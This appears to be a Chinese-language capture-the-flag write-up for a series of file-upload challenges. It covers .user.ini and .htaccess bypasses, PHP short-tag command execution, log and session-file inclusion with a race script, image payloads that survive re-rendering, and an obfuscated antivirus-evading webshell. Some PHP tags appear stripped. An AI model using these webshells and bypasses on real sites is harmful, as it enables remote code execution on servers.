前端检测类型,burp抓包修改文件名称即可
文件上传思路,先上传一张图片马,再慢慢测试过滤规则(文件名,之类的)
思路和前面的一致
上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/
防挂 https://www.cnblogs.com/l0nmar/p/14053889.html
发现很容易上传如php5,phtml
等类型文件,但是不解析.通过插件识别为nginx服务器,尝试上传.user.ini
,发现上传成功
文件内容:
auto_prepend_file = 1.php
然后上传一张图片马,1.php
内容:
phpinfo();
@eval($_POST['hacker']);
先上传.user.ini
,再上传图片马,再访问/upload/index.php , 蚁剑连接
在前面一题的基础上增加了内容过滤,过滤了php
, 可以用大小写来绕过
短标签绕过, 关于短标签内容参考https://www.cnblogs.com/dongguol/p/5910617.html
经过测试,题目应该是严格过滤了php
大小写也没办法绕过
用正常的标签 肯定会被拦截,所以只能用短标签
echo '123';?> //short_open_tags=on
=(表达式)?> 等价于 echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7
经过测试过滤了[
,可以用{}
代替[]
,其它的步骤和前面几个一致
又过滤了;
和{
,可以 =(system('nl ../*.ph*'))?>
=`nl ../flag.ph*`?>
=`nl ../*`?>
先上传.user.ini
再上传1.png
内容=include"/var/lo"."g/nginx/access.lo"."g"?>
(log被过滤)
再修改user-agent
蚁剑连接即可
这里直接包含flag的话会报错
因为include_path的限制
前面的web159可以nl ../*
是因为像system();等函数不收include_path或者open_basedir的限制 , 还有include()不支持正则表达式?
对文件头做了检测 用getimagesize()
可参考 : https://blog.csdn.net/weixin_43915842/article/details/90183305
png图片头:89 50 4E 47 0D 0A 1A 0A
, 后面还要填充一些字节:
再前一题的基础上又过滤了.
包含不了.log
文件了,尝试包含session文件
脚本:
# coding=utf-8
import io
import requests
import threading
sessID = 'test'
url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/'
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 256 * 1)
response = session.post(
url,
cookies={
'PHPSESSID': sessID},
data={
'PHP_SESSION_UPLOAD_PROGRESS': ''},
files={
'file': ('test.txt', f)}
)
def read(session):
while event.isSet():
response = session.get(url + 'upload/index.php'.format(sessID))
if 'flag' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
和上一题一样,也可以直接包含/tmp/sess_test
, 脚本同上
后端进行二次渲染 ,利用 imagecreatefrompng()
.
png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域
二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
渲染脚本:
png:
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
然后
至于为什么能当成PHP文件解析,可以查看后端代码,直接包含了图片文件
jpg文件二次渲染,脚本:
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ' );
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
先随便上传一张jpg文件到服务器,再下载回来
再用php exp.php 1.jpg
,再上传即可
只在前端做了限制,限制后缀名为zip
,可上传任意文件并解析
看后端代码还是直接include
httpd-apache2服务器
上传.htaccess
文件 ,任意文件解析为php
直接蚁剑生成免杀shell
// 使用时请删除此行, 连接密码: TyKPuntU ?>
$bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
有点小坑,前端做了校验只能传zip文件,后端又做了图片文件检查.
过滤了<>
和php
,可以上传配置文件绕过
蚁剑连接可能有问题,可以直接执行命令